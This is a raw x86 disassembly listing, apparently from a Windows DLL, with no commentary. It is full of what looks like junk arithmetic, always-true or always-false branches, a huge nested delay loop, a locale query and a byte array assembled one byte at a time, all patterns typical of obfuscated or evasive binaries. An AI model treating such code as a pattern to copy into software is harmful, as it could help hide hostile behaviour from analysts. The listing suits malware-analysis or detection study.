mov dword [ebp - 0x57c], 0xfffffff6
mov dword [ebp - 0x584], 0xb5c4ce10
push 2
lea ecx, [ebp - 0xd18]
call fcn.1000354d
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x58c], 1
push 2
lea ecx, [ebp - 0xc20]
call fcn.1000354d
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x18], 0
jmp 0x1001a1fd
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x1001a219
push dword [ebp - 0x18]
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov dword [eax], 0x976ff55e
jmp 0x1001a1f6
mov dword [ebp - 0x18], 0
jmp 0x1001a229
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x1001a23f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x310], 0x1415
jmp 0x1001a222
mov dword [ebp - 0x18], 0
jmp 0x1001a24f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1001a268
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd18]
call fcn.100035ec
or dword [eax], 0xffffffff
jmp 0x1001a248
mov dword [ebp - 0x18], 0
jmp 0x1001a278
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1001a291
push dword [ebp - 0x18]
lea ecx, [ebp - 0xc20]
call fcn.100035ec
or dword [eax], 0xffffffff
jmp 0x1001a271
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov dword [eax], 0x7528
mov eax, 0x7528
test eax, eax
je 0x1001a4f6
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
cmp dword [eax], 0
jb 0x1001a2dc
mov dword [ebp - 0x55c], 1
jmp 0x1001a2e3
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 0
jne 0x1001a306
xor eax, eax
inc eax
jne 0x1001a306
and dword [ebp - 0x564], 0
jmp 0x1001a310
mov dword [ebp - 0x564], 1
cmp dword [ebp - 0x564], 0xfffffff8
je 0x1001a325
mov dword [ebp - 0x9b4], 1
jmp 0x1001a32c
and dword [ebp - 0x9b4], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x310], 0
je 0x1001a35a
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
cmp dword [eax], 0
je 0x1001a35a
mov dword [ebp - 0xb08], 1
jmp 0x1001a361
and dword [ebp - 0xb08], 0
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov esi, eax
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov eax, dword [eax]
imul eax, dword [esi]
test eax, eax
jne 0x1001a3a1
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
cmp dword [eax], 0
jne 0x1001a3a1
and dword [ebp - 0x74c], 0
jmp 0x1001a3ab
mov dword [ebp - 0x74c], 1
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov eax, dword [eax]
cmp eax, dword [ebp - 0x74c]
jle 0x1001a3ce
mov dword [ebp - 0x56c], 1
jmp 0x1001a3d5
and dword [ebp - 0x56c], 0
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov ecx, dword [ebp - 0x56c]
cmp ecx, dword [eax]
jge 0x1001a3f8
mov dword [ebp - 0x8f4], 1
jmp 0x1001a3ff
and dword [ebp - 0x8f4], 0
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
mov ecx, dword [ebp - 0x8f4]
cmp ecx, dword [eax]
jg 0x1001a422
mov dword [ebp - 0x574], 1
jmp 0x1001a429
and dword [ebp - 0x574], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x310]
add eax, dword [ebp - 0x574]
jne 0x1001a44c
xor eax, eax
inc eax
jne 0x1001a44c
and dword [ebp - 0x754], 0
jmp 0x1001a456
mov dword [ebp - 0x754], 1
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x57c], eax
mov esi, dword [ebp - 0x57c]
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
cmp esi, dword [eax]
jne 0x1001a485
mov dword [ebp - 0x844], 1
jmp 0x1001a48c
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0x584], eax
mov esi, dword [ebp - 0x584]
push 0
lea ecx, [ebp - 0x324]
call fcn.100035ec
cmp dword [eax], esi
je 0x1001a4bb
mov dword [ebp - 0x75c], 1
jmp 0x1001a4c2
and dword [ebp - 0x75c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x310]
imul eax, dword [ebp - 0x75c]
test eax, eax
je 0x1001a4f6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x310], 0
je 0x1001a4f6
mov dword [ebp - 0x364], 1
jmp 0x1001a4fd
and dword [ebp - 0x364], 0
push 1
lea ecx, [ebp - 0xd18]
call fcn.100035ec
mov ecx, dword [ebp - 0x364]
mov dword [eax], ecx
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x58c], eax
mov esi, dword [ebp - 0x58c]
push 1
lea ecx, [ebp - 0xc20]
call fcn.100035ec
mov dword [eax], esi
push 1
lea ecx, [ebp - 0xc20]
call fcn.100035ec
mov dword [eax], 0xd660f181
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xc20]
call fcn.100035d0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xd18]
call fcn.100035d0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.100035d0
mov dword [ebp - 0x5c], 0x8b13eca4
push 3
lea ecx, [ebp - 0xe58]
call fcn.1000354d
mov dword [ebp - 4], 0x18
push 4
lea ecx, [ebp - 0xe48]
call fcn.1000354d
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x98], 0
jmp 0x1001a5b8
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1001a5da
push dword [ebp - 0x98]
lea ecx, [ebp - 0xe58]
call fcn.100035ec
mov dword [eax], 6
jmp 0x1001a5ab
mov dword [ebp - 0x98], 0
jmp 0x1001a5f3
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 4
jge 0x1001a615
push dword [ebp - 0x98]
lea ecx, [ebp - 0xe48]
call fcn.100035ec
mov dword [eax], 0x56e74e80
jmp 0x1001a5e6
mov dword [ebp - 0x5c], 0xffffffe2
jmp 0x1001a625
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x15
jl 0x1001a6d5
mov dword [ebp - 0x764], 0x164caf14
mov dword [ebp - 0x9bc], 1
cmp dword [ebp - 0x5c], 0
je 0x1001a65a
xor eax, eax
inc eax
je 0x1001a65a
mov dword [ebp - 0x8bc], 1
jmp 0x1001a661
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x8bc]
jne 0x1001a678
mov dword [ebp - 0x594], 1
jmp 0x1001a67f
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x764]
cmp dword [ebp - 0x594], eax
jl 0x1001a699
mov dword [ebp - 0x59c], 1
jmp 0x1001a6a0
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x764]
cmp eax, dword [ebp - 0x59c]
jg 0x1001a6bd
mov dword [ebp - 0x84c], 1
jmp 0x1001a6c4
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x9bc], eax
jmp 0x1001a61e
mov dword [ebp - 0x5c], 0
jmp 0x1001a6e5
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jg 0x1001a733
mov dword [ebp - 0x250], 0xffffffff
mov dword [ebp - 0x250], 0
jmp 0x1001a70e
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jg 0x1001a731
mov byte [ebp - 0xda], 0
movzx eax, byte [ebp - 0xda]
test eax, eax
je 0x1001a72f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
jmp 0x1001a701
jmp 0x1001a6de
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xe48]
call fcn.100035d0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe58]
call fcn.100035d0
mov dword [ebp - 0x77c], 0x5b2
mov dword [ebp - 0x9c4], str.bkwty_glo_ynvjyjsf_urv_uffk_mvkdxdt_wfjdatkj_hjunaujo_oqewvfk_avzoqv_kjsfo_mmtfxb
cmp dword [ebp - 0x77c], 0x700
jle 0x1001a852
and dword [ebp - 0x2c0], 0
jmp 0x1001a78b
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x3ee8
jge 0x1001a852
and dword [ebp - 0x258], 0
jmp 0x1001a7b1
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0xabd
jge 0x1001a84d
and dword [ebp - 0x2f8], 0
jmp 0x1001a7d7
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x6053
jge 0x1001a848
and dword [ebp - 0x260], 0
jmp 0x1001a7f9
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x5801
jge 0x1001a846
mov eax, dword [ebp - 0x2c0]
imul eax, dword [ebp - 0x258]
imul eax, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x260]
shl eax, cl
cdq
mov dword [ebp - 0xa3c], eax
mov dword [ebp - 0xa38], edx
push dword [ebp - 0xa38]
push dword [ebp - 0xa3c]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x1001a7ec
jmp 0x1001a7ca
jmp 0x1001a7a4
jmp 0x1001a77e
mov dword [ebp - 0x30], 0xc93b4e1
mov dword [ebp - 0x14c], 0xb56095db
mov dword [ebp - 0x30], 0x1d
jmp 0x1001a873
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xc
jge 0x1001ac68
mov dword [ebp - 0x930], 0
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x928], 0
mov dword [ebp - 0x924], 0
mov dword [ebp - 0x58], 0x59609c3f
push 2
lea ecx, [ebp - 0xc38]
call fcn.1000354d
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x2c8], 0
jmp 0x1001a8d9
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 2
jge 0x1001a8fb
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0xc38]
call fcn.100035ec
mov dword [eax], 0xe4a0435e
jmp 0x1001a8cc
mov dword [ebp - 0x58], 0
jmp 0x1001a90b
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jg 0x1001ac3a
push 2
lea ecx, [ebp - 0x93c]
call fcn.1000354d
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x5b4], 0x5ab13611
push 4
lea ecx, [ebp - 0xb74]
call fcn.1000354d
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x38], 0
jmp 0x1001a951
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x1001a96d
push dword [ebp - 0x38]
lea ecx, [ebp - 0x93c]
call fcn.100035ec
mov dword [eax], 0x8625
jmp 0x1001a94a
mov dword [ebp - 0x38], 0
jmp 0x1001a97d
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1001a993
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xf04], 0x9a325cf1
jmp 0x1001a976
mov dword [ebp - 0x38], 0
jmp 0x1001a9a3
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x1001a9bf
push dword [ebp - 0x38]
lea ecx, [ebp - 0xb74]
call fcn.100035ec
mov dword [eax], 0x219fa4a6
jmp 0x1001a99c
mov eax, dword [ebp - 0x58]
cmp dword [ebp + eax*4 - 0x930], 0
je 0x1001aa92
cmp dword [ebp - 0x58], 0
jne 0x1001aa20
cmp dword [ebp - 0x30], 0
jne 0x1001a9ea
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x930], 0
mov eax, dword [ebp - 0x58]
mov esi, dword [ebp + eax*4 - 0x930]
push 0
lea ecx, [ebp - 0x93c]
call fcn.100035ec
mov dword [eax], esi
mov dword [ebp - 0x14c], 0x98422518
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp + eax*4 - 0x930]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd4c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd54], eax
push 0
lea ecx, [ebp - 0x93c]
call fcn.100035ec
cmp dword [eax], 0
jne 0x1001aa53
cmp dword [ebp - 0x30], 0
jne 0x1001aa53
and dword [ebp - 0x5a4], 0
jmp 0x1001aa5d
mov dword [ebp - 0x5a4], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x5a4], eax
je 0x1001aa74
mov dword [ebp - 0x76c], 1
jmp 0x1001aa7b
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x76c], eax
jl 0x1001aa92
mov dword [ebp - 0xbb0], 1
jmp 0x1001aa99
and dword [ebp - 0xbb0], 0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x930]
mov dword [ebp - 0xd5c], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x930]
mov dword [ebp - 0xd64], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd6c], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xd74], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x930]
mov dword [ebp - 0xd7c], eax
push 0
lea ecx, [ebp - 0x93c]
call fcn.100035ec
push 0
lea ecx, [ebp - 0x93c]
call fcn.100035ec
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x5ac], eax
push 0
lea ecx, [ebp - 0xc38]
call fcn.100035ec
mov ecx, dword [ebp - 0x5ac]
mov dword [eax], ecx
cmp dword [ebp - 0x5ac], 0
je 0x1001ab35
cmp dword [ebp - 0x30], 0
je 0x1001ab35
mov dword [ebp - 0x90c], 1
jmp 0x1001ab3c
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x5b4], eax
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x774], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x774]
mov dword [ebp + eax - 0xf04], ecx
cmp dword [ebp - 0x774], 0xfffffff9
jl 0x1001ab7b
mov dword [ebp - 0x5bc], 1
jmp 0x1001ab82
and dword [ebp - 0x5bc], 0
mov esi, dword [ebp - 0x30]
push 0
lea ecx, [ebp - 0xb74]
call fcn.100035ec
mov ecx, dword [ebp - 0x5bc]
add ecx, dword [eax]
cmp ecx, esi
je 0x1001abaa
mov dword [ebp - 0x854], 1
jmp 0x1001abb1
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x930]
cmp dword [ebp - 0x854], eax
jg 0x1001abcf
mov dword [ebp - 0x5c4], 1
jmp 0x1001abd6
and dword [ebp - 0x5c4], 0
push 2
lea ecx, [ebp - 0xb74]
call fcn.100035ec
mov ecx, dword [ebp - 0x5c4]
mov dword [eax], ecx
cmp dword [ebp - 0x14c], 0
je 0x1001ac17
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xb74]
call fcn.100035d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x93c]
call fcn.100035d0
jmp 0x1001a904
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xb74]
call fcn.100035d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x93c]
call fcn.100035d0
jmp 0x1001a904
cmp dword [ebp - 0x14c], 0
je 0x1001ac54
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc38]
call fcn.100035d0
jmp 0x1001ac68
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc38]
call fcn.100035d0
jmp 0x1001a86c
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x77c], 0x28f
jge 0x1001ac8b
mov edx, dword [ebp - 0x9c4]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x1001aca7
or dword [ebp - 4], 0xffffffff
jmp 0x1001acb1
mov byte [ebp - 0x1a4], 4
mov byte [ebp - 0x1a3], 0xbc
mov byte [ebp - 0x1a2], 7
mov byte [ebp - 0x1a1], 0x33
mov byte [ebp - 0x1a0], 0xc
mov byte [ebp - 0x19f], 0x32
mov byte [ebp - 0x19e], 6
mov byte [ebp - 0x19d], 0x10
mov byte [ebp - 0x19c], 9
mov byte [ebp - 0x19b], 7
mov byte [ebp - 0x19a], 1
mov byte [ebp - 0x199], 0x2b
mov byte [ebp - 0x198], 2
mov byte [ebp - 0x197], 0x10
mov byte [ebp - 0x196], 0xd
mov byte [ebp - 0x195], 7
mov byte [ebp - 0x194], 0xb
mov byte [ebp - 0x193], 0x16
mov byte [ebp - 0x192], 1
mov byte [ebp - 0x191], 0
mov byte [ebp - 0x190], 8
mov byte [ebp - 0x18f], 1
mov byte [ebp - 0x18e], 0xa
mov byte [ebp - 0x18d], 0x16
mov byte [ebp - 0x18c], 0
mov byte [ebp - 0x18b], 0x35
mov byte [ebp - 0x18a], 5
mov byte [ebp - 0x189], 0x28
mov byte [ebp - 0x188], 3
mov byte [ebp - 0x187], 0x3f
mov dword [ebp - 0x7c], 0
jmp 0x1001ad93
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1001ada9
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xec], 0xd97a
jmp 0x1001ad8c
mov dword [ebp - 0x7c], 0
jmp 0x1001adb9
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 4
jge 0x1001adcf
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xd28], 0x9ff446cd
jmp 0x1001adb2
xor eax, eax
jne 0x1001adec
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xec], 0
jne 0x1001adec
and dword [ebp - 0x5cc], 0
jmp 0x1001adf6
mov dword [ebp - 0x5cc], 1
cmp dword [ebp - 0x5cc], 6
jl 0x1001af00
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x8c4], 0x2835357f
mov dword [ebp - 0x8c4], 0xe55459ee
cmp dword [ebp - 0x8c4], 3
jne 0x1001ae36
mov dword [ebp - 0x5d4], 1
jmp 0x1001ae3d
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
sub eax, 0x51efdb7b
cmp eax, 0x15fb
jne 0x1001ae5b
mov dword [ebp - 0x784], 1
jmp 0x1001ae62
and dword [ebp - 0x784], 0
cmp dword [ebp - 0x784], 9
jbe 0x1001ae77
mov dword [ebp - 0xb10], 1
jmp 0x1001ae7e
and dword [ebp - 0xb10], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xec]
sub ecx, dword [ebp - 0x5dc]
cmp ecx, dword [ebp + eax - 0xec]
jne 0x1001aeac
mov dword [ebp - 0x85c], 1
jmp 0x1001aeb3
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x5dc]
add eax, dword [ebp - 0x85c]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0xec], eax
jg 0x1001aeda
mov dword [ebp - 0x5e4], 1
jmp 0x1001aee1
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5e4]
sub eax, 0xfffb
neg eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd28], eax
jmp 0x1001b268
mov dword [ebp - 0xa0], 0x28451d77
mov dword [ebp - 0x9d4], 0x827b
mov dword [ebp - 0xa0], 0
jmp 0x1001af2d
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jg 0x1001b268
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0x268], 0
jmp 0x1001af5d
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jg 0x1001b263
mov dword [ebp - 0x168], 0x12d29ed7
mov dword [ebp - 0x5f4], 1
mov dword [ebp - 0x9cc], 0
mov dword [ebp - 0x168], 3
jmp 0x1001afa1
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jl 0x1001b25e
mov dword [ebp - 0x84], 1
mov dword [ebp - 0x84], 0
jmp 0x1001afd1
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x1001b147
and dword [ebp - 0xce0], 0
and dword [ebp - 0xcdc], 0
and dword [ebp - 0xcd8], 0
and dword [ebp - 0xcd4], 0
lea ecx, [ebp - 0x37d]
call fcn.100035fb
push eax
lea eax, [ebp - 0xcd0]
push eax
lea eax, [ebp - 0xce0]
push eax
lea ecx, [ebp - 0xf70]
call fcn.100035fe
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc50]
call fcn.100035aa
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x328], 0
jmp 0x1001b04f
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 3
jge 0x1001b06b
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0xb84], 0x51cd25bb
jmp 0x1001b042
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xb84], 0
jmp 0x1001b096
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb84]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb84], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb84], 3
jg 0x1001b0b9
mov eax, dword [ebp - 0x84]
cmp dword [ebp + eax*4 - 0xec], 0
je 0x1001b0b7
jmp 0x1001b0b9
jmp 0x1001b07d
push 2
lea ecx, [ebp - 0xc50]
call fcn.100035ec
mov dword [eax], 3
jmp 0x1001b0f2
push 2
lea ecx, [ebp - 0xc50]
call fcn.100035ec
mov dword [ebp - 0x78c], eax
mov eax, dword [ebp - 0x78c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x78c]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xc50]
call fcn.100035ec
cmp dword [eax], 0
jl 0x1001b133
mov eax, dword [ebp - 0x84]
cmp dword [ebp + eax*4 - 0xec], 0
je 0x1001b116
jmp 0x1001b133
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xb80], 0x9efec1a2
mov dword [ebp - 0x5f4], 0x9efec1a2
jmp 0x1001b0ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc50]
call fcn.100035d0
jmp 0x1001afc4
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xd84], eax
mov eax, dword [ebp - 0x84]
sub eax, 0x1cb90118
cmp eax, 5
jge 0x1001b16f
mov dword [ebp - 0x5ec], 1
jmp 0x1001b176
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
sub eax, dword [ebp - 0x9cc]
cmp eax, dword [ebp - 0xa0]
jne 0x1001b196
mov dword [ebp - 0xb98], 1
jmp 0x1001b19d
and dword [ebp - 0xb98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
mov dword [ebp - 0xd8c], eax
cmp dword [ebp - 0x9d4], 0
je 0x1001b1ce
cmp dword [ebp - 0x84], 0
je 0x1001b1ce
mov dword [ebp - 0x904], 1
jmp 0x1001b1d5
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0xd28]
cmp eax, dword [ebp - 0x904]
jge 0x1001b1f6
mov dword [ebp - 0x794], 1
jmp 0x1001b1fd
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0x794], eax
jg 0x1001b217
mov dword [ebp - 0x5fc], 1
jmp 0x1001b21e
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp + eax*4 - 0xd28]
cmp dword [ebp - 0x5fc], eax
jl 0x1001b23f
mov dword [ebp - 0x864], 1
jmp 0x1001b246
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x864]
mov dword [ebp + eax*4 - 0xd28], ecx
jmp 0x1001af94
jmp 0x1001af50
jmp 0x1001af20
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1a4]
and eax, 0xce
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1a4]
or ecx, 0xce
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1a4]
mov byte [ebp + eax - 0xbec], cl
mov dword [ebp - 0x128], 8
mov dword [ebp - 0x374], 0
mov dword [ebp - 0xd94], 0xfffffffc
mov dword [ebp - 0x8cc], 0x9193c1de
mov dword [ebp - 0x63c], 0xffffffff
mov dword [ebp - 0x2d0], 0x643b8a2
mov dword [ebp - 0x36c], 0xfffffffa
mov dword [ebp - 0x9e4], 0xffffffff
mov dword [ebp - 0xbb8], 3
mov dword [ebp - 0xd9c], 0xcd9796a0
mov dword [ebp - 0x3c0], 2
mov dword [ebp - 0xb20], 0x7d660f18
mov dword [ebp - 0x634], 0xbe86
mov dword [ebp - 0x270], 0
jmp 0x1001b341
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 2
jge 0x1001b35d
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0xe0c], 0xfffffffe
jmp 0x1001b334
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0
jne 0x1001b51e
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x9dc], eax
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebp - 0xb18]
cmp eax, dword [ebp - 0x9dc]
jle 0x1001b3b5
mov dword [ebp - 0x86c], 1
jmp 0x1001b3bc
and dword [ebp - 0x86c], 0
cmp dword [ebp - 0x63c], 0
jne 0x1001b3d2
xor eax, eax
jne 0x1001b3d2
and dword [ebp - 0x604], 0
jmp 0x1001b3dc
mov dword [ebp - 0x604], 1
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x604], eax
jl 0x1001b3f6
mov dword [ebp - 0x79c], 1
jmp 0x1001b3fd
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x79c], eax
jle 0x1001b417
mov dword [ebp - 0x60c], 1
jmp 0x1001b41e
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x8cc], eax
mov eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0x8cc]
jg 0x1001b444
mov dword [ebp - 0x614], 1
jmp 0x1001b44b
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0x1a812c00
je 0x1001b463
mov dword [ebp - 0x7a4], 1
jmp 0x1001b46a
and dword [ebp - 0x7a4], 0
cmp dword [ebp - 0x7a4], 0xffffffff
jb 0x1001b488
cmp dword [ebp - 0xbb8], 0
je 0x1001b488
mov dword [ebp - 0x61c], 1
jmp 0x1001b48f
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x86c], eax
jl 0x1001b4b5
mov dword [ebp - 0x39c], 1
jmp 0x1001b4bc
and dword [ebp - 0x39c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x39c]
mov dword [ebp + eax - 0xe0c], ecx
mov eax, dword [ebp - 0x39c]
sub eax, dword [ebp - 0x9e4]
add eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0x374]
jg 0x1001b4f5
mov dword [ebp - 0x624], 1
jmp 0x1001b4fc
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
neg eax
cmp eax, dword [ebp - 0xb20]
jne 0x1001b51e
cmp dword [ebp - 0x2d0], 0
jne 0x1001b51e
and dword [ebp - 0x7ac], 0
jmp 0x1001b528
